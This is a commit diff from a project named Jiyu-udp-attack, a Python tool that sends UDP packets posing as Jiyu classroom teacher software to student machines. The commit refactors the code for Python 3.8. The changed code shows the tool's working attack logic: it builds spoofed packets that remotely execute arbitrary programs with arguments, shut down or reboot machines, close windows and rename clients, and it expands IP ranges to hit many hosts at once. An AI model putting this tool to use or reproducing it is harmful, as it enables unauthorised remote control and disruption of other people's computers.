Skip to content

Commit 0bc19af

Browse files
committed
refactor: Modify syntax for Python 3.8 compatibility
1 parent 92bf1b5 commit 0bc19af

File tree

6 files changed

+83
-88
lines changed

6 files changed

+83
-88
lines changed

Jiyu_udp_attack/__main__.py

Lines changed: 36 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
import argparse
1313
import binascii
1414

15-
from typing import Any, Sequence, cast
15+
from typing import Any, Optional, Sequence, cast
1616

1717
from sender import broadcast_packet
1818
from packet import (
@@ -59,7 +59,7 @@ def __call__(
5959
parser: argparse.ArgumentParser,
6060
namespace: argparse.Namespace,
6161
values: Any,
62-
option_string: str | None = None,
62+
option_string: Optional[str] = None,
6363
):
6464
if option_string in self.option_strings:
6565
option_string = cast(str, option_string)
@@ -242,44 +242,45 @@ def format_usage(self) -> str:
242242
elif args.close_top_window:
243243
payload = pkg_close_top_window()
244244
elif args.execute:
245-
match args.execute:
246-
case [mode, [program]]:
247-
args_list = ""
248-
case [mode, [program, args_list]]:
249-
pass
250-
case _:
245+
if len(args.execute) != 2:
246+
parser.error("Invalid execute arguments: expected [program] or [program, args_list]")
247+
else:
248+
mode, args_list = args.execute
249+
args_list = cast(Sequence[str], args_list)
250+
if len(args_list) == 1:
251+
program, args_list = args_list[0], ""
252+
elif len(args_list) == 2:
253+
program, args_list = args_list
254+
else:
251255
parser.error("Invalid execute arguments: expected [program] or [program, args_list]")
252256
payload = pkg_execute(program, args_list, "normal" if mode is None else mode)
253257
elif args.shutdown is not None:
254-
match args.shutdown:
255-
case []:
256-
payload = pkg_shutdown()
257-
case [timeout]:
258-
payload = pkg_shutdown(timeout=int(timeout))
259-
case [timeout, message]:
260-
payload = pkg_shutdown(timeout=int(timeout), message=message)
261-
case _:
262-
parser.error("Invalid shutdown arguments: expected [timeout] or [timeout, message]")
258+
if len(args.shutdown) == 0:
259+
payload = pkg_shutdown()
260+
elif len(args.shutdown) == 1:
261+
payload = pkg_shutdown(timeout=int(args.shutdown[0]))
262+
elif len(args.shutdown) == 2:
263+
payload = pkg_shutdown(timeout=int(args.shutdown[0]), message=args.shutdown[1])
264+
else:
265+
parser.error("Invalid shutdown arguments: expected [timeout] or [timeout, message]")
263266
elif args.reboot is not None:
264-
match args.reboot:
265-
case []:
266-
payload = pkg_shutdown(reboot=True)
267-
case [timeout]:
268-
payload = pkg_shutdown(timeout=int(timeout), reboot=True)
269-
case [timeout, message]:
270-
payload = pkg_shutdown(timeout=int(timeout), message=message, reboot=True)
271-
case _:
272-
parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
267+
if len(args.reboot) == 0:
268+
payload = pkg_shutdown(reboot=True)
269+
elif len(args.reboot) == 1:
270+
payload = pkg_shutdown(timeout=int(args.reboot[0]), reboot=True)
271+
elif len(args.reboot) == 2:
272+
payload = pkg_shutdown(timeout=int(args.reboot[0]), message=args.reboot[1], reboot=True)
273+
else:
274+
parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
273275
elif args.close_windows is not None:
274-
match args.close_windows:
275-
case []:
276-
payload = pkg_close_windows()
277-
case [timeout]:
278-
payload = pkg_close_windows(timeout=int(timeout))
279-
case [timeout, message]:
280-
payload = pkg_close_windows(timeout=int(timeout), message=message)
281-
case _:
282-
parser.error("Invalid close windows arguments: expected [timeout] or [timeout, message]")
276+
if len(args.close_windows) == 0:
277+
payload = pkg_close_windows()
278+
elif len(args.close_windows) == 1:
279+
payload = pkg_close_windows(timeout=int(args.close_windows[0]))
280+
elif len(args.close_windows) == 2:
281+
payload = pkg_close_windows(timeout=int(args.close_windows[0]), message=args.close_windows[1])
282+
else:
283+
parser.error("Invalid close windows arguments: expected [timeout] or [timeout, message]")
283284
elif args.rename:
284285
name, name_id = args.rename
285286
payload = pkg_rename(name, int(name_id))

Jiyu_udp_attack/ip_analyze.py

Lines changed: 25 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,10 @@
33
"""
44

55

6-
def ip_to_tuple(ip: str) -> tuple[int, int, int, int]:
6+
from typing import List, Tuple
7+
8+
9+
def ip_to_tuple(ip: str) -> Tuple[int, int, int, int]:
710
"""
811
Converts an IP address string to a tuple of four integers.
912
@@ -25,7 +28,7 @@ def ip_to_tuple(ip: str) -> tuple[int, int, int, int]:
2528

2629

2730
# pylint: disable=too-many-branches
28-
def ip_analyze(ip: str) -> list[str]:
31+
def ip_analyze(ip: str) -> List[str]:
2932
"""
3033
Analyzes an IP address or range and returns a list of valid IP addresses.
3134
@@ -39,15 +42,15 @@ def ip_analyze(ip: str) -> list[str]:
3942
raise TypeError(f"Expected string, got {type(ip).__name__}")
4043
ip = ip.replace(" ", "")
4144
if "/" in ip:
42-
match ip.split("/"):
43-
case [ip_addr, mask]:
44-
if not mask.isdigit():
45-
raise ValueError(f"Invalid subnet mask: {mask}")
46-
mask = int(mask)
47-
if mask not in range(0, 32, 8):
48-
raise ValueError(f"Invalid subnet mask: {mask}")
49-
case _:
50-
raise ValueError(f"Invalid IP address format: {ip}")
45+
try:
46+
ip_addr, mask = ip.split("/")
47+
assert mask.isdigit(), f"Invalid subnet mask: {mask}"
48+
mask = int(mask)
49+
assert mask in range(0, 32, 8), f"Invalid subnet mask: {mask}"
50+
except ValueError:
51+
raise ValueError(f"Invalid IP address format: {ip}") from None
52+
except AssertionError as e:
53+
raise ValueError(str(e)) from None
5154
ip_tuple = ip_to_tuple(ip_addr)
5255
ip32 = ip_tuple[0] << 24 | ip_tuple[1] << 16 | ip_tuple[2] << 8 | ip_tuple[3]
5356
ip32 |= (1 << (32 - mask)) - 1
@@ -59,24 +62,17 @@ def ip_analyze(ip: str) -> list[str]:
5962
ip_count = 1
6063
ip_range: list[tuple[int, int]] = []
6164
for i in ip_range_tuple:
62-
match i.split("-"):
63-
case [single]:
64-
if not single.isdigit():
65-
raise ValueError(f"Invalid IP address range format: {ip}")
66-
single = int(single)
67-
if single < 0 or single > 255:
68-
raise ValueError(f"IP address out of range: {single}")
69-
ip_range.append((single, single))
70-
case [start, end]:
71-
if not (start.isdigit() and end.isdigit()):
72-
raise ValueError(f"Invalid IP address range format: {ip}")
73-
start = int(start)
74-
end = int(end)
75-
if start < 0 or start > 255 or end < 0 or end > 255 or start > end:
76-
raise ValueError(f"Invalid IP address range: {start}-{end}")
77-
ip_range.append((start, end))
78-
case _:
79-
raise ValueError(f"Invalid IP address range format: {ip}")
65+
rg = i.split("-")
66+
if len(rg) ==1:
67+
rg.append(rg[0])
68+
if len(rg) != 2:
69+
raise ValueError(f"Invalid IP address range format: {ip}")
70+
if not all(x.isdigit() for x in rg):
71+
raise ValueError(f"Invalid IP address range format: {ip}")
72+
start, end = int(rg[0]), int(rg[1])
73+
if start < 0 or start > 255 or end < 0 or end > 255 or start > end:
74+
raise ValueError(f"Invalid IP address range: {start}-{end}")
75+
ip_range.append((start, end))
8076
ip_count *= ip_range[-1][1] - ip_range[-1][0] + 1
8177
if ip_count > 65536:
8278
raise ValueError(f"IP address range too large: {ip_count} addresses")

Jiyu_udp_attack/packet.py

Lines changed: 11 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
import binascii
88
import secrets
99

10-
from typing import Literal, Optional
10+
from typing import Literal, Optional, Union
1111

1212

1313
__all__ = [
@@ -91,15 +91,14 @@ def pkg_execute(
9191
)
9292
data0 = format_data(executable_file, 512)
9393
data1 = format_data(arguments, 254)
94-
match mode:
95-
case "normal":
96-
data2 = b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
97-
case "minimize":
98-
data2 = b"\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
99-
case "maximize":
100-
data2 = b"\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
101-
case _:
102-
raise ValueError(f"Invalid mode: {mode}")
94+
if mode == "normal":
95+
data2 = b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
96+
elif mode == "minimize":
97+
data2 = b"\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
98+
elif mode == "maximize":
99+
data2 = b"\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
100+
else:
101+
raise ValueError(f"Invalid mode: {mode}")
103102
return head + data0 + data1 + b"\x00" * 66 + data2
104103

105104

@@ -244,7 +243,7 @@ def __init__(self, value: int = 0):
244243
raise ValueError("Value must be a non-negative integer")
245244
self.value = value
246245

247-
def __getattr__(self, name: str) -> HexStr | HexInt:
246+
def __getattr__(self, name: str) -> Union[HexStr, HexInt]:
248247
try:
249248
if name.startswith("little_"):
250249
return HexStr(self.value.to_bytes(int(name[7:]), "little").hex())
@@ -280,7 +279,7 @@ class HexStr:
280279
def __init__(self, value: str = ""):
281280
self.value = str(value)
282281

283-
def __getattr__(self, name: str) -> HexStr | HexInt:
282+
def __getattr__(self, name: str) -> Union[HexStr, HexInt]:
284283
try:
285284
if name == "len":
286285
return HexInt(len(self.value))

README.md

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,7 @@
88

99
## Environment
1010

11-
项目的 Python 为 3.13,即使经 PyInstaller 打包也对 Win 7 系统不太友好。未来可能向下兼容。
12-
13-
此外,为了移除 scapy 依赖,项目使用原始套接字进行请求,在大部分系统上可能需要管理员权限。
11+
项目的最新版向下兼容到 Python 3.8。
1412

1513
## Usage
1614

poetry.lock

Lines changed: 4 additions & 4 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

pyproject.toml

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,15 @@
1-
[project]
1+
[tool.poetry]
22
name = "Jiyu-udp-attack"
33
version = "1.0.0"
44
description = "Send packets to student machines disguised as Jiyu teacher machine"
5-
authors = [{ name = "weilycoder", email = "[email protected]" }]
5+
authors = ["weilycoder <[email protected]>"]
66
license = "MIT"
77
readme = "README.md"
8-
requires-python = ">=3.13,<4"
9-
dependencies = []
8+
9+
[tool.poetry.dependencies]
10+
python = ">=3.8,<4"
1011

1112

1213
[build-system]
13-
requires = ["poetry-core>=2.0.0,<3.0.0"]
14+
requires = ["poetry-core"]
1415
build-backend = "poetry.core.masonry.api"

0 commit comments

Comments
 (0)